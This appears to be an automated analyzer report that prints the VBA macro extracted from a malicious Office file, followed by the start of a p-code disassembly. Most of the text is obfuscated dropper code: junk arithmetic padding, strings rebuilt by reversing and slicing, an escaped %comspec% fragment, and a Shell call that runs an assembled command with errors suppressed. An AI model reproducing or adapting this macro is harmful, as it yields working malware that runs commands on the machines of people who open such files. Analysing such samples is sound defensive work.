YXilA = luiouE + Atn(orZJw) + 97093 - 21483 / (95462 * Hex(XIfZi))
HrvHnf = 67434 + FnBMAM
USFXjJsuFWS = AmFvzi(".8GGvWBiPLm%!!%pian0X", 62871 - 62871 + 5 + 62871 - 62871, 62871 - 62871 + 13 + 62871 - 62871)
Set VuwSt = fPlai
EzVGa = rnntn
bFvTV = mLlQCO + Atn(GlfcbK) + 62378 - 17997 / (52535 * Hex(wjhatI))
PbHfr = 76772 + LtooT
Set fHwzh = iXkvo
DvZBEc = pCdwUa
lHzdRU = DQIKoo + Atn(qjwDFB) + 18870 - 38627 / (83555 * Hex(fXfoMC))
cXBUW = 45974 + dUzzi
WwARGcDirC = AmFvzi("U@Q% tes,8Y0q00", 36255 - 36255 + 8 + 36255 - 36255, 36255 - 36255 + 6 + 36255 - 36255)
Set qQohz = fsOYW
QJwto = rOwiQm
TIrak = KpaAO + Atn(zoqXSO) + 99308 - 60480 / (5969 * Hex(OJjjL))
PSIzB = 15425 + MnSdVL
Set fnEqL = ZLzKaj
EvnUkP = FwGqW
zJIwOw = Opqzz + Atn(fGXmd) + 40374 - 24116 / (2972 * Hex(WcKKm))
wjjOU = 65194 + PDBvbY
pTkOE = AmFvzi("1@ tes&&MIrwwUsXmMr6", 53106 - 53106 + 6 + 53106 - 53106, 53106 - 53106 + 13 + 53106 - 53106)
Set OFqUZ = AhJcVJ
smjnEM = QGJjfd
qUlito = pQmqlC + Atn(QZDsK) + 11601 - 74807 / (56245 * Hex(OqPaI))
wGpvl = 18943 + YubVz
Set WKGdO = RsHnAG
iaOFP = tMMMw
rpGwqw = iXlVOX + Atn(QMzXJi) + 80070 - 8032 / (93048 * Hex(NAEkaM))
zKjXp = 20551 + RrEYzz
cMUUTlUs = AmFvzi("6vsSOYkFar", 5897 - 5897 + 5 + 5897 - 5897, 5897 - 5897 + 2 + 5897 - 5897)
Set AhQDh = pDSEn
QiprLH = bXEob
BCFRZR = wlNTo + Atn(twUuri) + 68893 - 93164 / (89090 * Hex(bztQm))
jvsod = 61522 + jlsnj
Set uNCirD = oSfon
qkqrK = ozCthV
HWhbh = vmREXU + Atn(zVNEq) + 64639 - 50005 / (23678 * Hex(sBDNbc))
rUUMZv = 66649 + rwpsT
OXcBE = AmFvzi("vMas&&r^e=%piwNAwqt5K14F", 89545 - 89545 + 6 + 89545 - 89545, 89545 - 89545 + 16 + 89545 - 89545)
Set jSWFt = mzDzv
JdjXT = SmajC
iDmGN = shsYMi + Atn(HhJNtR) + 40912 - 31989 / (39870 * Hex(EaTiRZ))
wwPPbq = 61400 + kLHOMk
Set ktOSji = GhwIq
wDndlR = RPjQJC
aFhOwB = ujQjz + Atn(GFlrs) + 48437 - 20856 / (7190 * Hex(FVFlQ))
VJwJd = 70899 + BAhLpT
EZASSlolcua = AmFvzi("Hrbil%zFBvWBiPLm% tes&&!o,c", 34294 - 34294 + 4 + 34294 - 34294, 34294 - 34294 + 19 + 34294 - 34294)
Set XXwmJ = LdrXjr
OzLIKl = YWRXVX
DlKjj = zoiYTc + Atn(IrRaZm) + 83216 - 54242 / (5603 * Hex(ZBDXfA))
ZRmWH = 85870 + qzAuZQ
Set YtCmZF = VPwNv
vvPYH = mWzsB
zjvFtZ = UIbuf + Atn(hSqNVP) + 64299 - 11582 / (76425 * Hex(pFTGTj))
bABrb = 41519 + QVZwb
zjXEDfH = AmFvzi("6VoCIozcS% tesr,k", 75071 - 75071 + 4 + 75071 - 75071, 75071 - 75071 + 11 + 75071 - 75071)
Set UBjpa = wIbdTp
vFAaS = nuztis
zjzzp = iWToWi + Atn(ikFAXh) + 4878 - 33626 / (49326 * Hex(QvHzn))
UHFzU = 76507 + LbniK
Set uIZjij = BiBZo
CYkuQ = nvALK
qziSs = LYBpFp + Atn(pBiYGw) + 44972 - 42679 / (13026 * Hex(WUSkFc))
twPMoh = 65467 + mEOQSM
zJANmRiUq = AmFvzi("LsbVXtes&&csqOzwcis@", 76380 - 76380 + 2 + 76380 - 76380, 76380 - 76380 + 14 + 76380 - 76380)
Set uBaAJ = tOmwj
LwaLF = UwIajB
wqUrI = oZDZQ + Atn(FTJzi) + 54229 - 28027 / (9833 * Hex(WjLtJ))
zQLUU = 48775 + MjYXir
Set DoGiuH = TDLlSQ
Czppb = TFwVWG
ObdJTq = ApJmS + Atn(iDdJd) + 65030 - 58836 / (60600 * Hex(OGQiF))
zqlMnQ = 57403 + aCScHF
QrabTZiBkrQ = AmFvzi("@YDcUwNAwqtnll%!!am", 89942 - 89942 + 3 + 89942 - 89942, 89942 - 89942 + 12 + 89942 - 89942)
Set oDWSB = bproc
wMXso = hCzYaf
ELDHLF = ZCZCu + Atn(EMWBt) + 45561 - 21357 / (8272 * Hex(fCJdrZ))
NQdrZ = 94623 + XhjiE
Set wfCij = kOTzCd
nQOlq = kTNIOj
EzTSMQ = EwPlqi + Atn(uCtOU) + 22667 - 46176 / (59423 * Hex(QQEJo))
lXozw = 44421 + vBnlwK
zmnlwQhRVkw = AmFvzi("9M9@SvDsAEw% LX", 73580 - 73580 + 3 + 73580 - 73580, 73580 - 73580 + 7 + 73580 - 73580)
Set AdvLiq = TutXN
bCBHH = ALswrj
GHsajP = oVnVs + Atn(znRcuc) + 71562 - 95313 / (22647 * Hex(zfdEKf))
jDfzk = 19635 + UKIzlG
Set UdcdN = jJjfV
jLXDOs = OilMta
zMHuww = FZdmYr + Atn(DtYlZ) + 41300 - 81297 / (57132 * Hex(WPPVq))
iQjCYZ = 38079 + oiWvd
uYDdrwCALrz = AmFvzi("V,dZUINDb9pLb", 28353 - 28353 + 5 + 28353 - 28353, 28353 - 28353 + 7 + 28353 - 28353)
Set tRqBWL = MaTFwV
kfhdB = qNCVS
jrjCCZ = rTFZN + Atn(fzVqPz) + 51795 - 6432 / (36772 * Hex(JBttM))
jOUinb = 94647 + XQflih
Set IEUdPH = Crfqws
DqqzC = uEjzEn
oBhhiB = qhORZ + Atn(ARajlH) + 91922 - 73090 / (98097 * Hex(nrVcB))
XVYcQ = 99563 + KzLvj
bHwBJX = AmFvzi("MMtEjsbIKMdJsE", 60489 - 60489 + 5 + 60489 - 60489, 60489 - 60489 + 8 + 60489 - 60489)
Set VbZYJr = dzOzrF
ltqJYK = KtswcA
QlZMP = doOTL + Atn(ZaZHbk) + 20757 - 19644 / (28558 * Hex(HBWVq))
ijbjr = 20374 + Lokcw
Set JRdRsG = jBwalF
pFlnMi = dpKKI
BnwnX = AhfBAC + Atn(BqRdd) + 34641 - 74897 / (19227 * Hex(oiTzL))
fbSGjj = 93376 + EICwEs
CuZZV = AmFvzi("XEUE4CqVqBjnTGAfUiSzn% MkR", 22933 - 22933 + 4 + 22933 - 22933, 22933 - 22933 + 17 + 22933 - 22933)
Set Ekkwc = LMhsV
izNTa = LCEitT
EzMVaT = ROjwjA + Atn(bUPkON) + 42864 - 35006 / (85361 * Hex(pcWsqE))
qRPYP = 97025 + HYnvQQ
Set UjRtpw = jYBtO
OcEvZ = mNukz
DVjUB = hjMGRE + Atn(NLMIK) + 43286 - 34833 / (3753 * Hex(aDfoE))
piawUt = 72642 + YMXVMi
FWHfud = AmFvzi("hYl9UwEw^o=%YOZvbItwK% t%", 30054 - 30054 + 2 + 30054 - 30054, 30054 - 30054 + 17 + 30054 - 30054)
Set IKAiL = ZEkNf
DudoMb = uifUj
bjowm = GXsRs + Atn(GtTPdq) + 67730 - 78642 / (90742 * Hex(juXKtF))
ddqQOj = 47153 + IzMZaK
Set YnlYQ = fcQYRp
ZGztqq = UWHYwK
IIonDM = TMtWw + Atn(YtiLtj) + 18045 - 15105 / (48918 * Hex(FFCRwC))
NcGAXT = 52610 + OdfGuD
ilthPZjM = AmFvzi("@XCB.%VXSCtsthMo%!cEj7", 54933 - 54933 + 5 + 54933 - 54933, 54933 - 54933 + 13 + 54933 - 54933)
Set sCMao = iMBjiT
iBvHRj = tsoBZH
fFdBil = NAEXNk + Atn(PEQoAs) + 5409 - 26084 / (65663 * Hex(oOXiA))
LBjUw = 13491 + hDiBU
Set uuPSDZ = Ozwra
vaOnNj = CXVtH
DAtqjw = TCTHN + Atn(upZiI) + 62889 - 29083 / (14142 * Hex(rMJZVs))
WYWLaW = 30055 + GRvTi
bbGXol = AmFvzi("ELcnDzl% tes&&dYzAaiultEKi", 1898 - 1898 + 4 + 1898 - 1898, 1898 - 1898 + 17 + 1898 - 1898)
Set GHaDlR = tNMsUS
jjGaO = fukBiY
DXqlvc = kFjVjb + Atn(dLJTG) + 7317 - 13677 / (79624 * Hex(KUEENM))
YUMrZ = 43053 + bwraX
Set AYRujk = qpJPY
kEddA = LFiXjo
DGQboq = NsTuUL + Atn(idRdKG) + 5072 - 21513 / (65281 * Hex(fiYScR))
lGCjO = 50205 + UYiCr
TpMOzzCamc = AmFvzi("fM9FEUzj%!!%zFBrJ%", 52087 - 52087 + 4 + 52087 - 52087, 52087 - 52087 + 11 + 52087 - 52087)
Set jIpohb = tWibs
ZvKRX = bSJOIT
DDIlX = TzIWp + Atn(lABHPX) + 53193 - 76999 / (80568 * Hex(SKHKR))
SZujV = 33519 + NkkKa
Set XIYcF = kWPJu
zzdIG = DSOaT
jClcEJ = HYjZDt + Atn(DaDtOW) + 40720 - 87118 / (37394 * Hex(jvhfJF))
zozwCa = 15864 + FUntT
aGoWArG = AmFvzi("ff8Bp% tes&&!%MQd@n", 47417 - 47417 + 4 + 47417 - 47417, 47417 - 47417 + 11 + 47417 - 47417)
Set aORUd = VMwFm
rwJbJz = sbOvs
AvbIC = zzVGjQ + Atn(jpSkr) + 84837 - 18350 / (36804 * Hex(LJdKpa))
wLSYTc = 39046 + DuXnjW
Set UFzDF = kzIwqH
OZTzE = oBvQf
nDWrMU = mndqO + Atn(BTYDA) + 54162 - 86684 / (10440 * Hex(soRNd))
nWYoU = 53262 + qNGwc
drHsIwOO = AmFvzi("h,7,aom% tes&&jSY", 81433 - 81433 + 4 + 81433 - 81433, 81433 - 81433 + 10 + 81433 - 81433)
Set VlliEj = rQzuo
WOLiZw = zwQEBu
jcKwDz = jnGFN + Atn(aSXYiA) + 65125 - 10675 / (5370 * Hex(ijwljX))
hhKuS = 29179 + AqoZm
Set bsfOpS = EXWktm
lNsRw = LsNWpH
ptwfz = pJhOLT + Atn(LENls) + 27211 - 65308 / (71872 * Hex(qWoZh))
ifIYhw = 6667 + brnww
sSMkKwHkPRc = AmFvzi("mZMM!!%P9fz", 53300 - 53300 + 4 + 53300 - 53300, 53300 - 53300 + 4 + 53300 - 53300)
Set Dzhzjl = fbibZ
kDZrXN = aCFmm
IsmuE = ltBqp + Atn(qwbDDi) + 94648 - 14801 / (30653 * Hex(HCAPl))
RAtuLU = 55672 + thZMo
Set AfrzAj = AiVCYM
jfiWX = hXwAVz
ossdZK = hjwXLR + Atn(MvABnL) + 7795 - 17438 / (72644 * Hex(klsAc))
rcCwtH = 79798 + dOjUwi
KpQicY = AmFvzi("cz%@LjfZEkDsAEw%!=%VXSCD.", 79460 - 79460 + 3 + 79460 - 79460, 79460 - 79460 + 18 + 79460 - 79460)
Set KGGUc = wimdfG
snSjFA = vJSrF
IYYij = CJZfl + Atn(znttPU) + 26071 - 2064 / (24195 * Hex(pwAOvd))
BnOOW = 75790 + JHtTD
Set NiLiI = QCmGwU
DiCrSW = PFRhUY
VSAEdE = TzMUVi + Atn(OYcdsP) + 25909 - 14861 / (37698 * Hex(ndnmHN))
Nktvjl = 4126 + Qqjfq
lXCTdotPFja = AmFvzi("VWOCW4nls", 37882 - 37882 + 2 + 37882 - 37882, 37882 - 37882 + 2 + 37882 - 37882)
Set znKBh = DbJjOz
QARBM = iGlphf
aIcYic = Vqpcka + Atn(alaNh) + 69375 - 56778 / (72790 * Hex(zpXtH))
LwcWu = 27253 + zkClVm
Set KfTYn = kXQpQt
JSoWX = cXNiHW
TzcEpa = iXOBQO + Atn(SERfA) + 21616 - 36139 / (16222 * Hex(qvnnc))
zAMBsa = 75913 + Lzpwjm
pWpJuprb = AmFvzi("dSGF3Y%JzVWjKYuVtHz%!Zmt", 49104 - 49104 + 4 + 49104 - 49104, 49104 - 49104 + 15 + 49104 - 49104)
Set nGIVJ = vzGLb
nmJCn = jaNoO
jfJGf = OjWGC + Atn(iSSfBB) + 10650 - 80899 / (31743 * Hex(AICzB))
DMqwrm = 72724 + IoTvws
Set lofLO = PczWlL
BsLusK = cAqnz
niOcK = jJfrrU + Atn(YOijCt) + 43417 - 95223 / (20317 * Hex(KNjFEs))
zrLqCl = 26631 + MsbmV
HvDfQGXqiF = AmFvzi("%s9tfZEk%C@Xt", 78903 - 78903 + 6 + 78903 - 78903, 78903 - 78903 + 4 + 78903 - 78903)
Set UaSmK = Tntcbc
EPamfQ = uzIkVd
MqBuK = kpnRTt + Atn(RKwjPZ) + 82954 - 18182 / (10232 * Hex(GwWaGV))
iQhaH = 94706 + hQnJOb
Set HAcWj = JKUJS
NBBXB = jKfza
qKqzW = ourIX + Atn(dDjKkI) + 4047 - 71657 / (9760 * Hex(wCOGbl))
ZlIaH = 60840 + YJnGU
pIRARYTmL = AmFvzi("3S.%Y=%JzVWjKYuVtHz% te%E", 18040 - 18040 + 3 + 18040 - 18040, 18040 - 18040 + 18 + 18040 - 18040)
Set jEiIu = qYaWzo
sOokQ = DoRXPS
XIlaV = RjRrYG + Atn(cvhwO) + 21970 - 71700 / (84783 * Hex(KkZWTQ))
OhOpYa = 65812 + zBBXja
XUITmBNMWk = zjXEDfH + bLIIfowT + ptnaSrWTw + zJANmRiUq + zmnlwQhRVkw + HvDfQGXqiF + DHVqf + FWHfud + drHsIwOO + XMkjFq + NuviiLMYDkX + ZhbDKA + qBUaCiHfTIF + GirzhE + MaZhwwwo + cMUUTlUs + pTkOE + UzMPEt + drztLP + KpQicY + aGoWArG + PBudPTUtD + bHwBJX + lOnkwDDiNK + bbGXol + lXCTdotPFja + OXcBE + pIRARYTmL + PEosmTvDPf + EZASSlolcua + CozlroMK + CuZZV + RwjNCZQk + wUHCj + zlkKtuEut + WwARGcDirC + qjaDXjUUh + ilthPZjM + hfRrhHcEjAi + pWpJuprb + QrabTZiBkrQ + USFXjJsuFWS + TpMOzzCamc + uYDdrwCALrz + sSMkKwHkPRc + zwQmN + zCJPjP
Set PiEKI = SIDhd
zBBwcA = DKJQnB
vzNKN = MnUuR + Atn(IivZL) + 14938 - 91189 / (81526 * Hex(lwCYXn))
MGNRI = 90795 + TutUU
Set mmDQzv = bWRhj
dkVmI = fkttiT
cwjol = RLada + Atn(oiIEa) + 84669 - 58373 / (79686 * Hex(SYYWR))
SvstZz = 54322 + LuhjW
End Function

Attribute VB_Name = "rDGuMUwWj"
Sub BzdOK(ISURz)
Set ikBcM = zJsMI
OPSdJz = wPZsZT
InmOL = OcVWt + Atn(IjYXap) + 83985 - 4692 / (1423 * Hex(FiJXSC))
IsbIw = 14667 + WdADM
Set uvjYoS = swDhR
NiHFo = LbMiSb
YOAzo = pOAKvk + Atn(AfIKot) + 83188 - 73726 / (88701 * Hex(PYLRAK))
RRwftJ = 84168 + OtbzM
End Sub
Sub llntqwANwip(mLPiBWvBFz As String)
On Error Resume Next
Set MUGlj = BpYkW
mlYdWp = StdnC
VQJaz = ohECD + Atn(fUqjb) + 85986 - 23752 / (16671 * Hex(XGclW))
ttiijD = 59235 + DrPYU
Set whiVXr = NlRkb
rwJhpd = unZTWB
JnpMT = aSpYHN + Atn(QjINwF) + 18378 - 76074 / (23626 * Hex(KZvroJ))
OwVqM = 50283 + FRjTYJ
[Shell] abzMOfLVRsNw + Chr(vbKeyC) + mLPiBWvBFz + fmYAmJjJIrpEG + IjVpODH, oNRuGi + 0 + oNRuGi
Set wwiZiw = hdcPjR
tjhPc = RjHHIT
ovCwt = vnZWMi + Atn(QbONpZ) + 89319 - 79130 / (76725 * Hex(HzafSO))
WRKsEm = 51540 + VuVfTN
Set ksMpV = RiZOAI
zTGdYj = uUrLpn
UfYKUZ = OiTctv + Atn(jliDd) + 61224 - 58532 / (4240 * Hex(sGkObQ))
AAhLz = 5917 + EjjIk
End Sub

Attribute VB_Name = "nAfnuLjNHMHE"
Function rjDkL(whScM)
Set HjkZXt = tRAsa
TPjnto = GfMUA
YzmDUX = Cniwo + Atn(SkLAqn) + 55962 - 76228 / (83855 * Hex(RuZomd))
UQYbVZ = 13309 + jUHtj
Set izJVpv = VjXIjC
JvjhZ = KiPIw
EmJTV = LKiuQS + Atn(izwjAT) + 78968 - 43803 / (72289 * Hex(klaUV))
AjAZdq = 84553 + NCOVs
Set OfQkqN = wOoHo
hZhvZ = kiKPsT
FmWwFT = zqEUqi + Atn(NCVLS) + 78537 - 46010 / (20462 * Hex(fHpfIE))
QXQwI = 49981 + PjnKTq
Set MEuiW = pDaiUu
qrQoWu = owZjzo
FciiE = RSCuw + Atn(XNMzli) + 25415 - 50115 / (72756 * Hex(TznYC))
QiOjiG = 69486 + wzPaiX
End Function
Function VrkXab(nCmNoh)
Set frfRl = XfNDR
lBmOmr = izICB
EQqMwU = CSQIk + Atn(zURqd) + 63120 - 11089 / (93394 * Hex(wBnzWZ))
KXodoj = 73230 + TQjzaS
Set ddduuR = iVvjN
oYzzs = ItTHU
ijWMz = VYNYK + Atn(cfjCs) + 36069 - 64758 / (16614 * Hex(TsuTl))
WJqJW = 17279 + LhkRYp
Set pEQOb = NXFBB
LwOrc = LAwOXO
NwUwSb = swdOcj + Atn(QtzEpI) + 94455 - 94668 / (60113 * Hex(qIYNoL))
hBaNXt = 46460 + aHjNVz
Set wBuHz = hGqQT
IJDjD = BhaFit
bRPBQ = KwbMXS + Atn(MRzvjz) + 7420 - 41965 / (30509 * Hex(XadbTS))
qWBGXs = 35801 + ajJaj
End Function
Function AmFvzi(ByVal oMhtstCSXV As String, QqOafVTh, jzUEbDNIUZdP)
On Error Resume Next
Set fNVZki = WjpiLo
amIqim = ARbpY
rIRuvj = rNIBik + Atn(TpMcL) + 8466 - 50652 / (58013 * Hex(XSwtbf))
ukLBnN = 29876 + jcIBMi
zHtVuYKjWVzJ = IudBLE + Mid(dUGMUtczpDLRNQ + StrReverse(oMhtstCSXV) + jWGaStjwZ, JQKCQZUr + QqOafVTh + HruasVSjnEpvQr, jzUEbDNIUZdP) + LGvlmEuYhvLd
Set zYdrZ = JjovN
zJvrj = sYZrK
jFqMSN = hsAmOa + Atn(WziEWK) + 64812 - 63438 / (74025 * Hex(wjzZTE))
FOzITa = 92506 + aQjLz
AmFvzi = hQlztqUUz + zHtVuYKjWVzJ + CTvOlPFNoIjzbp
Set Ymrvt = VnYQQ
ZZNXl = CGAfh
LLSXrp = pwzUEd + Atn(FvjjW) + 95354 - 41350 / (7556 * Hex(nakvkY))
CtEPki = 65403 + vijaPc
Set JuNJH = UIkGH
izHuwR = vbzOn
NikoO = oCiQpi + Atn(RJhlUI) + 57064 - 3514 / (5907 * Hex(oomIC))
iJfZlt = 82154 + UVLSdw
End Function
Function RMVACN(fFJVKh)
Set zcmlVE = KIpYT
RwzKYG = XcQIz
odaPP = IpUtZh + Atn(rYHDj) + 54025 - 68690 / (30249 * Hex(jIzzD))
XXLdl = 2339 + djsZp
Set IwFXd = OvQYk
QEPzRQ = ivRwh
vGbvXK = mZHcb + Atn(VhpRGz) + 52452 - 93280 / (41839 * Hex(BjScGK))
qAXci = 18119 + AtNduq
Set mWhvlp = LzGzZK
OFizb = QbDIn
BRNmz = izOKl + Atn(VVlfDR) + 55053 - 16588 / (98728 * Hex(loiiS))
jLSYIN = 76500 + wLJzu
Set LEUBi = YkYmf
YofYHT = wSDrMZ
hZhsI = NoCjUc + Atn(LIvmf) + 86213 - 56655 / (79533 * Hex(jZDpNw))
HMHcWY = 98340 + jiAQj
End Function
Function vBTBJOQoQY()
On Error Resume Next
Set zEiTYq = RLTvS
tIoSSR = uUMAdn
sFBsM = NhUYW + Atn(FUqAoh) + 7361 - 82231 / (11528 * Hex(sMhwmr))
sipkhi = 22235 + aiMUL
Set wXaSO = HcLpl
lkRlU = uhckAo
iAjEW = zdjWF + Atn(Rlztw) + 76902 - 51533 / (21310 * Hex(DHoUZE))
zrNXlS = 61275 + aYofm
lOajBwio = AmFvzi("Oj0mZm^o^c^%    QGv", 5315 - 5315 + 4 + 5315 - 5315, 5315 - 5315 + 11 + 5315 - 5315)
Set CNLfCG = oiwZdC
tsjwFK = rJiVzG
SZzvZR = tcpXw + Atn(INRzIQ) + 1582 - 22860 / (66636 * Hex(saczKE))
JDAEWE = 94466 + EldzPu
Set ApiJw = jBDfN
jqKoc = PNDWcB
UcchJ = GHNkjt + Atn(MswTM) + 21155 - 52313 / (84090 * Hex(Azodu))
oNdMcB = 53381 + HTtzHB
GFmOjrPakWO = AmFvzi(".SiGE@PKLImmwtWjnpHMTJr", 48631 - 48631 + 3 + 48631 - 48631, 48631 - 48631 + 15 + 48631 - 48631)
Set FduVb = PjJRa
Ocdtf = WTAGUQ
lJrzS = UpnuW + Atn(ITMYdT) + 88839 - 5010 / (71114 * Hex(GdaON))
iSwIiP = 80797 + YkrGG
Set JTYji = zLppjp
Zrfldq = HPuRB
zkjiUN = FNzhD + Atn(kjcVE) + 95304 - 39326 / (12644 * Hex(TGuMIA))
uZHhiB = 25274 + LUTQaM
StaOw = AmFvzi("qTc/         V/    E9ui@", 51294 - 51294 + 6 + 51294 - 51294, 51294 - 51294 + 17 + 51294 - 51294)
Set ziOFji = pThpGR
jIEYKT = ZVfiTw
jdEjf = JLzCUQ + Atn(joAtv) + 91474 - 8671 / (53341 * Hex(OrPtR))
NjWNj = 69342 + pdIbp
Set RwRwO = YGsiaH
FqrIYM = vvQXjX
Ysufu = SiZiPo + Atn(OqIor) + 97637 - 98469 / (31605 * Hex(homYz))
WjuPq = 62671 + NzwfbM
BvABLWVkhqa = AmFvzi("TZE aURwQjmoChB LQcAjZJ2", 33136 - 33136 + 4 + 33136 - 33136, 33136 - 33136 + 18 + 33136 - 33136)
Set QMtjsl = mcjiY
MLGtWj = Itkzw
OcLpLX = pvUuCf + Atn(GjEOh) + 34254 - 68766 / (76367 * Hex(qFIuE))
WctlE = 43370 + bmUKlH
Set crlZLa = bBOcqb
jNSpBB = dIifEZ
oRhjfZ = zMlOp + Atn(wOJzFY) + 67902 - 44726 / (1549 * Hex(fjzww))
HuGAEn = 69459 + wKCkhA
BncHYDb = AmFvzi("YcIrh   Zq%,", 31307 - 31307 + 5 + 31307 - 31307, 31307 - 31307 + 3 + 31307 - 31307)
Set aMXjPz = ZjqUnt
wfaJQ = rHpZJ
cDuWzq = qFXcP + Atn(jcUaKj) + 99701 - 81533 / (59651 * Hex(ibbQvp))
XzZkX = 53471 + KrinDw
Set WpniAI = ZDmca
zzikXB = vbPpk
jVTuK = ZlwPuT + Atn(QCvWi) + 436 - 14367 / (34364 * Hex(mRQrb))
iuazwj = 53719 + FJbjA
IvjWUSzYTh = AmFvzi("0lZ %^c^E^p^S^m^o^c^% vUVhZ", 48688 - 48688 + 6 + 48688 - 48688, 48688 - 48688 + 19 + 48688 - 48688)
Set CjjRN = zzFjpd
UjCdT = mDCpz
doBqM = THDJC + Atn(wiqoio) + 88426 - 14845 / (40741 * Hex(HSDfIL))
KAumw = 67725 + zJtZVV
Set iEVJzG = jbDju
WcuNK = awGtV
svRiR = funzz + Atn(OYVhCh) + 86180 - 66218 / (60741 * Hex(iqpjtH))
bXLAk = 13858 + uBJlD
NowUapnkPY = AmFvzi("L@n, &@.LL", 96268 - 96268 + 5 + 96268 - 96268, 96268 - 96268 + 2 + 96268 - 96268)
Set kYcNz = CtwZAm
MRaoiY = qMZoj
RJnAXH = fuFObk + Atn(ELiwL) + 25994 - 84610 / (88986 * Hex(TNbMfJ))
wohVU = 86685 + vCsHN
Set fiOffo = SbpUzm
cVjvPE = ssBBc
wbUoz = BRWXo + Atn(rZGWp) + 79624 - 29710 / (39630 * Hex(EpGVl))
kmqNdD = 73063 + rHBXdl
laVKO = AmFvzi("i6W %^c^E^p^SJZw", 35369 - 35369 + 4 + 35369 - 35369, 35369 - 35369 + 10 + 35369 - 35369)
Set FwstX = zWCLmH
rlNTMl = ijJKw
mPOoS = jBzqNc + Atn(DlPnC) + 82175 - 92166 / (98731 * Hex(FuiKrU))
ZphuSs = 69254 + OtAYl
Set tSSqiJ = UPXlOu
PaiGlM = MkkMU
bNuoT = VXcBSV + Atn(CmEbs) + 32573 - 94744 / (5419 * Hex(zfpAMk))
ihdOzz = 14274 + iRiYN
STaDFvjBr = AmFvzi("iJnUAsnzj ", 84123 - 84123 + 5 + 84123 - 84123, 84123 - 84123 + 1 + 84123 - 84123)
Set YQlWKa = IrvXJ
NPzSXl = uToGRC
itamYo = bPEdCK + Atn(Zqirn) + 12548 - 88432 / (11551 * Hex(wGnWsE))
iFHvZP = 33736 + wUwmz
Set YOivSJ = jEBEiz
QPsuSt = AiMVp
QYjajY = qoOTtM + Atn(rHUGW) + 65184 - 84021 / (89684 * Hex(lbDYl))
fSacQ = 62822 + YaUKR
ZjiiTXiZUY = AmFvzi("jKin iXPjLEtMDK dmSKiOvZ", 90609 - 90609 + 7 + 90609 - 90609, 90609 - 90609 + 15 + 90609 - 90609)
Set bAYBFa = sOFwH
VBvwf = vSIwt
vmjjt = MQCSWN + Atn(wzSfRM) + 54269 - 38950 / (29057 * Hex(JdcpJ))
WTDij = 19615 + mJUTlr
Set UPUrKN = vDwXwU
KwPSt = HhwER
XNOuTh = nSNsXs + Atn(jnsWfO) + 58877 - 55176 / (68063 * Hex(izBUSm))
PZOqb = 63531 + cqWhl
imDMLimw = AmFvzi("mp94tm^bw", 97078 - 97078 + 3 + 97078 - 97078, 97078 - 97078 + 1 + 97078 - 97078)
Set EraDpU = cYDRui
MVfHU = wczizF
itorz = mrqXwi + Atn(zprWwv) + 94396 - 28487 / (95007 * Hex(LOMFA))
tvDkOG = 67289 + LUDraV
Set vRMWJ = csaAc
lsBBj = OAInaT
RGooE = nuJpS + Atn(UqapMl) + 4955 - 50926 / (13574 * Hex(GrtjAJ))
EIrtLs = 92120 + EVnpIb
tiihND = AmFvzi("czk1B           8", 97278 - 97278 + 2 + 97278 - 97278, 97278 - 97278 + 11 + 97278 - 97278)
Set iaMBo = wCXsE
AzuXL = PEhbhI
iCHPOk = RDISUw + Atn(UIGTA) + 14379 - 39673 / (92082 * Hex(KwcMsX))
HtEDJ = 14293 + mIIFGw
vBTBJOQoQY = ZjiiTXiZUY + STaDFvjBr + GFmOjrPakWO + BvABLWVkhqa + NowUapnkPY + BncHYDb + IvjWUSzYTh + lOajBwio + imDMLimw + laVKO + StaOw + tiihND
Set bDMIvv = HhBdiM
RmYGuh = ZPvLN
UKsCO = BiuPDz + Atn(uzLDZb) + 89385 - 83669 / (39985 * Hex(jzLPn))
nQwhc = 13341 + pwPjLO
End Function
Sub PvdLcD(YTZwC)
Set NpKNTV = cuhEY
fqNwrW = IcQEnJ
LTLPoi = wVQUtw + Atn(KUOZn) + 74721 - 46006 / (55387 * Hex(UiaIo))
ZGaJhq = 17396 + RPtIhV
End Sub

' Processing file: /opt/analyzer/scan_staging/950eac9edbd341e2a7633f9eb93f149f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/wrQXOmivkYFzp - 5252 bytes
' Line #0:
' 	FuncDefn (Sub BzkMfC(ciuCEs))
' Line #1:
' 	SetStmt 
' 	Ld jquQUh 
' 	Set wvKoC 
' Line #2:
' 	Ld IzEBlr 
' 	St zSQkzr 
' Line #3:
' 	Ld UHlwR 
' 	Ld SKETrz 
' 	ArgsLd Atn 0x0001 
' 	Add 
' 	LitDI2 0x4C25 
' 	Add 
' 	LitDI4 0xF0EE 0x0000 
' 	LitDI2 0x4A87 
' 	Ld JCNwM 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	Paren 
' 	Div 
' 	Sub 
' 	St BAjXln 
' Line #4:
' 	LitDI4 0x3B56 0x0001 
' 	Ld tjuld 
' 	Add 
' 	St rJCKGi 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub ioiHd(vlKohw))
' Line #7:
' 	SetStmt 
' 	Ld PcuHd 
' 	Set mWUXqu 
' Line #8:
' 	Ld wiVUF 
' 	St UpaHDY 
' Line #9:
' 	Ld JnCrYL 
' 	Ld qFwCt 
' 	ArgsLd Atn 0x0001 
' 	Add 
' 	LitDI4 0xCB0D 0x0000 
' 	Add 
' 	LitDI4 0xE0AD 0x0000 
' 	LitDI4 0x390E 0x0001 
' 	Ld GKCkIu 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	Paren 
' 	Div 
' 	Sub 
' 	St OAGzO 
' Line #10:
' 	LitDI4 0xAB72 0x0000 
' 	Ld dfiUA 
' 	Add 
' 	St EBzRXj 
' Line #11:
' 	SetStmt 
' 	Ld Bjbtcd 
' 	Set zBwAi 
' Line #12:
…

Open this report in the interactive analyzer, or submit your own file for analysis.